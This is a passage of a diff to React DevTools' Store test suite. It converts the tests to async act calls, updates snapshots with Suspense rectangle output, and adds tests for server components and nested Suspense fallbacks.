         agent.overrideSuspense({
           id: suspenseID,
           rendererID,
@@ -1376,6 +1989,8 @@ describe('Store', () => {
           ▾ <SuspenseTree>
             ▾ <Suspense>
               ▸ <Parent>
+        [suspense-root]  rects={null}
+          <Suspense name="SuspenseTree" uniqueSuspenders={false} rects={null}>
       `);
     });
   });
@@ -1386,7 +2001,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support a single root with a single child', () => {
+    it('should support a single root with a single child', async () => {
       const Grandparent = () => (
         <React.Fragment>
           <Parent />
@@ -1396,7 +2011,7 @@ describe('Store', () => {
       const Parent = () => <Child />;
       const Child = () => null;
 
-      act(() => render(<Grandparent />));
+      await act(() => render(<Grandparent />));
 
       for (let i = 0; i < store.numElements; i++) {
         expect(store.getIndexOfElementID(store.getElementIDAtIndex(i))).toBe(i);
@@ -1404,12 +2019,12 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support multiple roots with one children each', () => {
+    it('should support multiple roots with one children each', async () => {
       const Grandparent = () => <Parent />;
       const Parent = () => <Child />;
       const Child = () => null;
 
-      act(() => {
+      await act(() => {
         render(<Grandparent />);
         render(<Grandparent />);
       });
@@ -1420,12 +2035,12 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support a single root with multiple top level children', () => {
+    it('should support a single root with multiple top level children', async () => {
       const Grandparent = () => <Parent />;
       const Parent = () => <Child />;
       const Child = () => null;
 
-      act(() =>
+      await act(() =>
         render(
           <React.Fragment>
             <Grandparent />
@@ -1440,12 +2055,12 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support multiple roots with multiple top level children', () => {
+    it('should support multiple roots with multiple top level children', async () => {
       const Grandparent = () => <Parent />;
       const Parent = () => <Child />;
       const Child = () => null;
 
-      act(() => {
+      await act(() => {
         render(
           <React.Fragment>
             <Grandparent />
@@ -1472,7 +2087,7 @@ describe('Store', () => {
   // @reactVersion >= 18.0
   // @reactVersion < 19
   // @gate !disableLegacyMode
-  it('detects and updates profiling support based on the attached roots (legacy render)', () => {
+  it('detects and updates profiling support based on the attached roots (legacy render)', async () => {
     const Component = () => null;
 
     const containerA = document.createElement('div');
@@ -1480,19 +2095,19 @@ describe('Store', () => {
 
     expect(store.rootSupportsBasicProfiling).toBe(false);
 
-    act(() => legacyRender(<Component />, containerA));
+    await act(() => legacyRender(<Component />, containerA));
     expect(store.rootSupportsBasicProfiling).toBe(true);
 
-    act(() => legacyRender(<Component />, containerB));
-    act(() => ReactDOM.unmountComponentAtNode(containerA));
+    await act(() => legacyRender(<Component />, containerB));
+    await act(() => ReactDOM.unmountComponentAtNode(containerA));
     expect(store.rootSupportsBasicProfiling).toBe(true);
 
-    act(() => ReactDOM.unmountComponentAtNode(containerB));
+    await act(() => ReactDOM.unmountComponentAtNode(containerB));
     expect(store.rootSupportsBasicProfiling).toBe(false);
   });
 
   // @reactVersion >= 18
-  it('detects and updates profiling support based on the attached roots (createRoot)', () => {
+  it('detects and updates profiling support based on the attached roots (createRoot)', async () => {
     const Component = () => null;
 
     const containerA = document.createElement('div');
@@ -1503,26 +2118,26 @@ describe('Store', () => {
 
     expect(store.rootSupportsBasicProfiling).toBe(false);
 
-    act(() => rootA.render(<Component />));
+    await act(() => rootA.render(<Component />));
     expect(store.rootSupportsBasicProfiling).toBe(true);
 
-    act(() => rootB.render(<Component />));
-    act(() => rootA.unmount());
+    await act(() => rootB.render(<Component />));
+    await act(() => rootA.unmount());
     expect(store.rootSupportsBasicProfiling).toBe(true);
 
-    act(() => rootB.unmount());
+    await act(() => rootB.unmount());
     expect(store.rootSupportsBasicProfiling).toBe(false);
   });
 
   // @reactVersion >= 18.0
-  it('should properly serialize non-string key values', () => {
+  it('should properly serialize non-string key values', async () => {
     const Child = () => null;
 
     // Bypass React element's automatic stringifying of keys intentionally.
     // This is pretty hacky.
     const fauxElement = Object.assign({}, <Child />, {key: 123});
 
-    act(() => render([fauxElement]));
+    await act(() => render([fauxElement]));
     expect(store).toMatchInlineSnapshot(`
       [root]
           <Child key="123">
@@ -1581,12 +2196,12 @@ describe('Store', () => {
     );
 
     // Render once to start fetching the lazy component
-    act(() => render(<App />));
+    await act(() => render(<App />));
 
     await Promise.resolve();
 
     // Render again after it resolves
-    act(() => render(<App />));
+    await act(() => render(<App />));
 
     expect(store).toMatchInlineSnapshot(`
       [root]
@@ -1638,7 +2253,7 @@ describe('Store', () => {
       const container = document.createElement('div');
 
       // Render once to start fetching the lazy component
-      act(() => legacyRender(<App renderChildren={true} />, container));
+      await act(() => legacyRender(<App renderChildren={true} />, container));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1649,7 +2264,7 @@ describe('Store', () => {
       await Promise.resolve();
 
       // Render again after it resolves
-      act(() => legacyRender(<App renderChildren={true} />, container));
+      await act(() => legacyRender(<App renderChildren={true} />, container));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1659,7 +2274,7 @@ describe('Store', () => {
       `);
 
       // Render again to unmount it
-      act(() => legacyRender(<App renderChildren={false} />, container));
+      await act(() => legacyRender(<App renderChildren={false} />, container));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1673,28 +2288,32 @@ describe('Store', () => {
       const root = ReactDOMClient.createRoot(container);
 
       // Render once to start fetching the lazy component
-      act(() => root.render(<App renderChildren={true} />));
+      await act(() => root.render(<App renderChildren={true} />));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <App>
               <Suspense>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
       `);
 
       await Promise.resolve();
 
       // Render again after it resolves
-      act(() => root.render(<App renderChildren={true} />));
+      await act(() => root.render(<App renderChildren={true} />));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <App>
             ▾ <Suspense>
                 <LazyInnerComponent>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
       `);
 
       // Render again to unmount it
-      act(() => root.render(<App renderChildren={false} />));
+      await act(() => root.render(<App renderChildren={false} />));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1709,7 +2328,7 @@ describe('Store', () => {
       const container = document.createElement('div');
 
       // Render once to start fetching the lazy component
-      act(() => legacyRender(<App renderChildren={true} />, container));
+      await act(() => legacyRender(<App renderChildren={true} />, container));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1718,7 +2337,7 @@ describe('Store', () => {
       `);
 
       // Render again to unmount it before it finishes loading
-      act(() => legacyRender(<App renderChildren={false} />, container));
+      await act(() => legacyRender(<App renderChildren={false} />, container));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1733,16 +2352,18 @@ describe('Store', () => {
       const root = ReactDOMClient.createRoot(container);
 
       // Render once to start fetching the lazy component
-      act(() => root.render(<App renderChildren={true} />));
+      await act(() => root.render(<App renderChildren={true} />));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <App>
               <Suspense>
+        [suspense-root]  rects={null}
+          <Suspense name="App" rects={null}>
       `);
 
       // Render again to unmount it before it finishes loading
-      act(() => root.render(<App renderChildren={false} />));
+      await act(() => root.render(<App renderChildren={false} />));
 
       expect(store).toMatchInlineSnapshot(`
         [root]
@@ -1753,15 +2374,15 @@ describe('Store', () => {
 
   describe('inline errors and warnings', () => {
     // @reactVersion >= 18.0
-    it('during render are counted', () => {
+    it('during render are counted', async () => {
       function Example() {
         console.error('test-only: render error');
         console.warn('test-only: render warning');
         return null;
       }
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() => render(<Example />));
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() => render(<Example />));
       });
 
       expect(store).toMatchInlineSnapshot(`
@@ -1770,8 +2391,8 @@ describe('Store', () => {
             <Example> ✕⚠
       `);
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() => render(<Example rerender={1} />));
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() => render(<Example rerender={1} />));
       });
 
       expect(store).toMatchInlineSnapshot(`
@@ -1782,7 +2403,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('during layout get counted', () => {
+    it('during layout get counted', async () => {
       function Example() {
         React.useLayoutEffect(() => {
           console.error('test-only: layout error');
@@ -1791,8 +2412,8 @@ describe('Store', () => {
         return null;
       }
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() => render(<Example />));
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() => render(<Example />));
       });
 
       expect(store).toMatchInlineSnapshot(`
@@ -1801,8 +2422,8 @@ describe('Store', () => {
             <Example> ✕⚠
       `);
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() => render(<Example rerender={1} />));
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() => render(<Example rerender={1} />));
       });
 
       expect(store).toMatchInlineSnapshot(`
@@ -1817,13 +2438,8 @@ describe('Store', () => {
         jest.runOnlyPendingTimers();
       }
 
-      // Gross abstraction around pending passive warning/error delay.
-      function flushPendingPassiveErrorAndWarningCounts() {
-        jest.advanceTimersByTime(1000);
-      }
-
       // @reactVersion >= 18.0
-      it('are counted (after a delay)', () => {
+      it('are counted (after no delay)', async () => {
         function Example() {
           React.useEffect(() => {
             console.error('test-only: passive error');
@@ -1832,31 +2448,24 @@ describe('Store', () => {
           return null;
         }
 
-        withErrorsOrWarningsIgnored(['test-only:'], () => {
-          act(() => {
+        withErrorsOrWarningsIgnored(['test-only:'], async () => {
+          await act(() => {
             render(<Example />);
           }, false);
         });
         flushPendingBridgeOperations();
-        expect(store).toMatchInlineSnapshot(`
-          [root]
-              <Example>
-        `);
-
-        // After a delay, passive effects should be committed as well
-        act(flushPendingPassiveErrorAndWarningCounts, false);
         expect(store).toMatchInlineSnapshot(`
           ✕ 1, ⚠ 1
           [root]
               <Example> ✕⚠
         `);
 
-        act(() => unmount());
+        await act(() => unmount());
         expect(store).toMatchInlineSnapshot(``);
       });
 
       // @reactVersion >= 18.0
-      it('are flushed early when there is a new commit', () => {
+      it('are flushed early when there is a new commit', async () => {
         function Example() {
           React.useEffect(() => {
             console.error('test-only: passive error');
@@ -1879,8 +2488,9 @@ describe('Store', () => {
           }, false);
           flushPendingBridgeOperations();
           expect(store).toMatchInlineSnapshot(`
+            ✕ 1, ⚠ 1
             [root]
-                <Example>
+                <Example> ✕⚠
           `);
 
           // Before warnings and errors have flushed, flush another commit.
@@ -1894,23 +2504,14 @@ describe('Store', () => {
           }, false);
           flushPendingBridgeOperations();
           expect(store).toMatchInlineSnapshot(`
-            ✕ 1, ⚠ 1
+            ✕ 2, ⚠ 2
             [root]
                 <Example> ✕⚠
                 <Noop>
           `);
         });
 
-        // After a delay, passive effects should be committed as well
-        act(flushPendingPassiveErrorAndWarningCounts, false);
-        expect(store).toMatchInlineSnapshot(`
-          ✕ 2, ⚠ 2
-          [root]
-              <Example> ✕⚠
-              <Noop>
-        `);
-
-        act(() => unmount());
+        await act(() => unmount());
         expect(store).toMatchInlineSnapshot(``);
       });
     });
@@ -1918,7 +2519,7 @@ describe('Store', () => {
     // In React 19, JSX warnings were moved into the renderer - https://github.com/facebook/react/pull/29088
     // The warning is moved to the Child instead of the Parent.
     // @reactVersion >= 19.0.1
-    it('from react get counted [React >= 19.0.1]', () => {
+    it('from react get counted [React >= 19.0.1]', async () => {
       function Example() {
         return [<Child />];
       }
@@ -1943,7 +2544,7 @@ describe('Store', () => {
 
     // @reactVersion >= 18.0
     // @reactVersion < 19.0
-    it('from react get counted [React 18.x]', () => {
+    it('from react get counted [React 18.x]', async () => {
       function Example() {
         return [<Child />];
       }
@@ -1967,15 +2568,15 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('can be cleared for the whole app', () => {
+    it('can be cleared for the whole app', async () => {
       function Example() {
         console.error('test-only: render error');
         console.warn('test-only: render warning');
         return null;
       }
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() =>
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() =>
           render(
             <React.Fragment>
               <Example />
@@ -2008,15 +2609,15 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('can be cleared for particular Fiber (only warnings)', () => {
+    it('can be cleared for particular Fiber (only warnings)', async () => {
       function Example() {
         console.error('test-only: render error');
         console.warn('test-only: render warning');
         return null;
       }
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() =>
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() =>
           render(
             <React.Fragment>
               <Example />
@@ -2053,15 +2654,15 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('can be cleared for a particular Fiber (only errors)', () => {
+    it('can be cleared for a particular Fiber (only errors)', async () => {
       function Example() {
         console.error('test-only: render error');
         console.warn('test-only: render warning');
         return null;
       }
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() =>
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() =>
           render(
             <React.Fragment>
               <Example />
@@ -2098,7 +2699,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('are updated when fibers are removed from the tree', () => {
+    it('are updated when fibers are removed from the tree', async () => {
       function ComponentWithWarning() {
         console.warn('test-only: render warning');
         return null;
@@ -2113,8 +2714,8 @@ describe('Store', () => {
         return null;
       }
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() =>
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() =>
           render(
             <React.Fragment>
               <ComponentWithError />
@@ -2132,8 +2733,8 @@ describe('Store', () => {
             <ComponentWithWarningAndError> ✕⚠
       `);
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() =>
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() =>
           render(
             <React.Fragment>
               <ComponentWithWarning />
@@ -2149,8 +2750,8 @@ describe('Store', () => {
             <ComponentWithWarningAndError> ✕⚠
       `);
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() =>
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() =>
           render(
             <React.Fragment>
               <ComponentWithWarning />
@@ -2164,12 +2765,12 @@ describe('Store', () => {
             <ComponentWithWarning> ⚠
       `);
 
-      withErrorsOrWarningsIgnored(['test-only:'], () => {
-        act(() => render(<React.Fragment />));
+      withErrorsOrWarningsIgnored(['test-only:'], async () => {
+        await act(() => render(<React.Fragment />));
       });
-      expect(store).toMatchInlineSnapshot(`[root]`);
-      expect(store.errorCount).toBe(0);
-      expect(store.warningCount).toBe(0);
+      expect(store).toMatchInlineSnapshot(``);
+      expect(store.componentWithErrorCount).toBe(0);
+      expect(store.componentWithWarningCount).toBe(0);
     });
 
     // Regression test for https://github.com/facebook/react/issues/23202
@@ -2196,20 +2797,1242 @@ describe('Store', () => {
       await actAsync(() => render(<App renderA={true} />));
 
       expect(store).toMatchInlineSnapshot(`
-          [root]
-            ▾ <App>
-              ▾ <Suspense>
-                  <ChildA>
-        `);
+        [root]
+          ▾ <App>
+            ▾ <Suspense>
+                <ChildA>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
+      `);
 
       await actAsync(() => render(<App renderA={false} />));
 
       expect(store).toMatchInlineSnapshot(`
-          [root]
-            ▾ <App>
-              ▾ <Suspense>
-                  <ChildB>
-        `);
+        [root]
+          ▾ <App>
+            ▾ <Suspense>
+                <ChildB>
+        [suspense-root]  rects={null}
+          <Suspense name="App" uniqueSuspenders={true} rects={null}>
+      `);
+    });
+  });
+
+  // @reactVersion > 18.2
+  it('does not show server components without any children reified children', async () => {
+    // A Server Component that doesn't render into anything on the client doesn't show up.
+    const ServerPromise = Promise.resolve(null);
+    ServerPromise._debugInfo = [
+      {
+        name: 'ServerComponent',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const App = () => ServerPromise;
+
+    await actAsync(() => render(<App />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+          <App>
+    `);
+  });
+
+  // @reactVersion > 18.2
+  it('does show a server component that renders into a filtered node', async () => {
+    const ServerPromise = Promise.resolve(<div />);
+    ServerPromise._debugInfo = [
+      {
+        name: 'ServerComponent',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const App = () => ServerPromise;
+
+    await actAsync(() => render(<App />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+            <ServerComponent> [Server]
+    `);
+  });
+
+  it('can render the same server component twice', async () => {
+    function ClientComponent() {
+      return <div />;
+    }
+    const ServerPromise = Promise.resolve(<ClientComponent />);
+    ServerPromise._debugInfo = [
+      {
+        name: 'ServerComponent',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const App = () => (
+      <>
+        {ServerPromise}
+        <ClientComponent />
+        {ServerPromise}
+      </>
+    );
+
+    await actAsync(() => render(<App />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+            <ClientComponent>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+    `);
+  });
+
+  // @reactVersion > 18.2
+  it('collapses multiple parent server components into one', async () => {
+    function ClientComponent() {
+      return <div />;
+    }
+    const ServerPromise = Promise.resolve(<ClientComponent />);
+    ServerPromise._debugInfo = [
+      {
+        name: 'ServerComponent',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const ServerPromise2 = Promise.resolve(<ClientComponent />);
+    ServerPromise2._debugInfo = [
+      {
+        name: 'ServerComponent2',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const App = ({initial}) => (
+      <>
+        {ServerPromise}
+        {ServerPromise}
+        {ServerPromise2}
+        {initial ? null : ServerPromise2}
+      </>
+    );
+
+    await actAsync(() => render(<App initial={true} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+              <ClientComponent>
+          ▾ <ServerComponent2> [Server]
+              <ClientComponent>
+    `);
+
+    await actAsync(() => render(<App initial={false} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+              <ClientComponent>
+          ▾ <ServerComponent2> [Server]
+              <ClientComponent>
+              <ClientComponent>
+    `);
+  });
+
+  // @reactVersion > 18.2
+  it('can reparent a child when the server components change', async () => {
+    function ClientComponent() {
+      return <div />;
+    }
+    const ServerPromise = Promise.resolve(<ClientComponent />);
+    ServerPromise._debugInfo = [
+      {
+        name: 'ServerAB',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const ServerPromise2 = Promise.resolve(<ClientComponent />);
+    ServerPromise2._debugInfo = [
+      {
+        name: 'ServerA',
+        env: 'Server',
+        owner: null,
+      },
+      {
+        name: 'ServerB',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const App = ({initial}) => (initial ? ServerPromise : ServerPromise2);
+
+    await actAsync(() => render(<App initial={true} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerAB> [Server]
+              <ClientComponent>
+    `);
+
+    await actAsync(() => render(<App initial={false} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerA> [Server]
+            ▾ <ServerB> [Server]
+                <ClientComponent>
+    `);
+  });
+
+  // @reactVersion > 18.2
+  it('splits a server component parent when a different child appears between', async () => {
+    function ClientComponent() {
+      return <div />;
+    }
+    const ServerPromise = Promise.resolve(<ClientComponent />);
+    ServerPromise._debugInfo = [
+      {
+        name: 'ServerComponent',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const App = ({initial}) =>
+      initial ? (
+        <>
+          {ServerPromise}
+          {null}
+          {ServerPromise}
+        </>
+      ) : (
+        <>
+          {ServerPromise}
+          <ClientComponent />
+          {ServerPromise}
+        </>
+      );
+
+    await actAsync(() => render(<App initial={true} />));
+    // Initially the Server Component only appears once because the children
+    // are consecutive.
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+              <ClientComponent>
+    `);
+
+    // Later the same instance gets split into two when it is no longer
+    // consecutive so we need two virtual instances to represent two parents.
+    await actAsync(() => render(<App initial={false} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+            <ClientComponent>
+          ▾ <ServerComponent> [Server]
+              <ClientComponent>
+    `);
+  });
+
+  // @reactVersion > 18.2
+  it('can reorder keyed server components', async () => {
+    function ClientComponent({text}) {
+      return <div>{text}</div>;
+    }
+    function getServerComponent(key) {
+      const ServerPromise = Promise.resolve(
+        <ClientComponent key={key} text={key} />,
+      );
+      ServerPromise._debugInfo = [
+        {
+          name: 'ServerComponent',
+          env: 'Server',
+          owner: null,
+          key: key,
+        },
+      ];
+      return ServerPromise;
+    }
+    const set1 = ['A', 'B', 'C'].map(getServerComponent);
+    const set2 = ['B', 'A', 'D'].map(getServerComponent);
+
+    const App = ({initial}) => (initial ? set1 : set2);
+
+    await actAsync(() => render(<App initial={true} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent key="A"> [Server]
+              <ClientComponent key="A">
+          ▾ <ServerComponent key="B"> [Server]
+              <ClientComponent key="B">
+          ▾ <ServerComponent key="C"> [Server]
+              <ClientComponent key="C">
+      `);
+
+    await actAsync(() => render(<App initial={false} />));
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ServerComponent key="B"> [Server]
+              <ClientComponent key="B">
+          ▾ <ServerComponent key="A"> [Server]
+              <ClientComponent key="A">
+          ▾ <ServerComponent key="D"> [Server]
+              <ClientComponent key="D">
+      `);
+  });
+
+  // @reactVersion >= 19.0
+  it('does not duplicate Server Component parents in keyed Fragments', async () => {
+    // TODO: Use an actual Flight renderer.
+    // See ReactFlight-test for the produced JSX from Flight.
+    function ClientComponent() {
+      return null;
+    }
+    // This used to be a keyed Fragment on the Server.
+    const children = [<ClientComponent key="app" />];
+    children._debugInfo = [
+      {time: 12},
+      {
+        name: 'App',
+        env: 'Server',
+        key: null,
+        stack: '    in Object.<anonymous> (at **)',
+        props: {},
+      },
+      {time: 13},
+    ];
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await actAsync(() => {
+      root.render([children]);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App> [Server]
+            <ClientComponent key="app">
+    `);
+  });
+
+  // @reactVersion >= 17.0
+  it('can reconcile Suspense in fallback positions', async () => {
+    let resolveFallback;
+    const fallbackPromise = new Promise(resolve => {
+      resolveFallback = resolve;
+    });
+    let resolveContent;
+    const contentPromise = new Promise(resolve => {
+      resolveContent = resolve;
+    });
+
+    function Component({children, promise}) {
+      if (promise) {
+        readValue(promise);
+      }
+      return <div>{children}</div>;
+    }
+
+    await actAsync(() =>
+      render(
+        <React.Suspense
+          name="content"
+          fallback={
+            <React.Suspense
+              name="fallback"
+              fallback={
+                <Component key="fallback-fallback">
+                  Loading fallback...
+                </Component>
+              }>
+              <Component key="fallback-content" promise={fallbackPromise}>
+                Loading...
+              </Component>
+            </React.Suspense>
+          }>
+          <Component key="content" promise={contentPromise}>
+            done
+          </Component>
+        </React.Suspense>,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="content">
+          ▾ <Suspense name="fallback">
+              <Component key="fallback-fallback">
+      [suspense-root]  rects={[{x:1,y:2,width:19,height:1}]}
+        <Suspense name="content" uniqueSuspenders={true} rects={null}>
+        <Suspense name="fallback" uniqueSuspenders={true} rects={null}>
+    `);
+
+    await actAsync(() => {
+      resolveFallback();
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="content">
+          ▾ <Suspense name="fallback">
+              <Component key="fallback-content">
+      [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}
+        <Suspense name="content" uniqueSuspenders={true} rects={null}>
+        <Suspense name="fallback" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>
+    `);
+
+    await actAsync(() => {
+      resolveContent();
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <Suspense name="content">
+            <Component key="content">
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}]}
+        <Suspense name="content" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+    `);
+  });
+
+  // @reactVersion >= 17.0
+  it('can reconcile resuspended Suspense with Suspense in fallback positions', async () => {
+    let resolveHeadFallback;
+    let resolveHeadContent;
+    let resolveMainFallback;
+    let resolveMainContent;
+
+    function Component({children, promise}) {
+      if (promise) {
+        readValue(promise);
+      }
+      return <div>{children}</div>;
+    }
+
+    function WithSuspenseInFallback({fallbackPromise, contentPromise, name}) {
+      return (
+        <React.Suspense
+          name={name}
+          fallback={
+            <React.Suspense
+              name={`${name}-fallback`}
+              fallback={
+                <Component key={`${name}-fallback-fallback`}>
+                  Loading fallback...
+                </Component>
+              }>
+              <Component
+                key={`${name}-fallback-content`}
+                promise={fallbackPromise}>
+                Loading...
+              </Component>
+            </React.Suspense>
+          }>
+          <Component key={`${name}-content`} promise={contentPromise}>
+            done
+          </Component>
+        </React.Suspense>
+      );
+    }
+
+    function App({
+      headFallbackPromise,
+      headContentPromise,
+      mainContentPromise,
+      mainFallbackPromise,
+      tailContentPromise,
+      tailFallbackPromise,
+    }) {
+      return (
+        <>
+          <WithSuspenseInFallback
+            fallbackPromise={headFallbackPromise}
+            contentPromise={headContentPromise}
+            name="head"
+          />
+          <WithSuspenseInFallback
+            fallbackPromise={mainFallbackPromise}
+            contentPromise={mainContentPromise}
+            name="main"
+          />
+        </>
+      );
+    }
+
+    const initialHeadContentPromise = new Promise(resolve => {
+      resolveHeadContent = resolve;
+    });
+    const initialHeadFallbackPromise = new Promise(resolve => {
+      resolveHeadFallback = resolve;
+    });
+    const initialMainContentPromise = new Promise(resolve => {
+      resolveMainContent = resolve;
+    });
+    const initialMainFallbackPromise = new Promise(resolve => {
+      resolveMainFallback = resolve;
+    });
+    await actAsync(() =>
+      render(
+        <App
+          headFallbackPromise={initialHeadFallbackPromise}
+          headContentPromise={initialHeadContentPromise}
+          mainContentPromise={initialMainContentPromise}
+          mainFallbackPromise={initialMainFallbackPromise}
+        />,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="head">
+              ▾ <Suspense name="head-fallback">
+                  <Component key="head-fallback-fallback">
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="main">
+              ▾ <Suspense name="main-fallback">
+                  <Component key="main-fallback-fallback">
+      [suspense-root]  rects={[{x:1,y:2,width:19,height:1}, {x:1,y:2,width:19,height:1}]}
+        <Suspense name="head" uniqueSuspenders={true} rects={null}>
+        <Suspense name="head-fallback" uniqueSuspenders={true} rects={null}>
+        <Suspense name="main" uniqueSuspenders={true} rects={null}>
+        <Suspense name="main-fallback" uniqueSuspenders={true} rects={null}>
+    `);
+
+    await actAsync(() => {
+      resolveHeadFallback();
+      resolveMainFallback();
+      resolveHeadContent();
+      resolveMainContent();
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="head">
+                <Component key="head-content">
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="main">
+                <Component key="main-content">
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:4,height:1}]}
+        <Suspense name="head" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+        <Suspense name="main" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+    `);
+
+    // Resuspend head content
+    const nextHeadContentPromise = new Promise(resolve => {
+      resolveHeadContent = resolve;
+    });
+    await actAsync(() =>
+      render(
+        <App
+          headFallbackPromise={initialHeadFallbackPromise}
+          headContentPromise={nextHeadContentPromise}
+          mainContentPromise={initialMainContentPromise}
+          mainFallbackPromise={initialMainFallbackPromise}
+        />,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="head">
+              ▾ <Suspense name="head-fallback">
+                  <Component key="head-fallback-content">
+          ▾ <WithSuspenseInFallback>
+            ▾ <Suspense name="main">
+                <Component key="main-content">
+      [suspense-root]  rects={[{x:1,y:2,width:4,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:4,height:1}]}
+        <Suspense name="head" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+        <Suspense name="head-fallback" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>
+        <Suspense name="main" uniqueSuspenders={true} rects={[{x:1,y:2,width:4,height:1}]}>
+    `);
+
+    // Resuspend head fallback
+    const nextHeadFallbackPromise = new Promise(resolve => {
+      resolveHeadFallback = resolve;
+    });
+    await actAsync(() =>
+      render(
+        <App
+          headFallbackPromise={nextHeadFallbackPromise}
+          headContentPromise={nextHeadContentPromise}
+          mainContentPromise={initialMainContentPromise}
+          mainFallbackPromise={initialMainFallbackPromise}
+        />,
+      ),
+    );
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
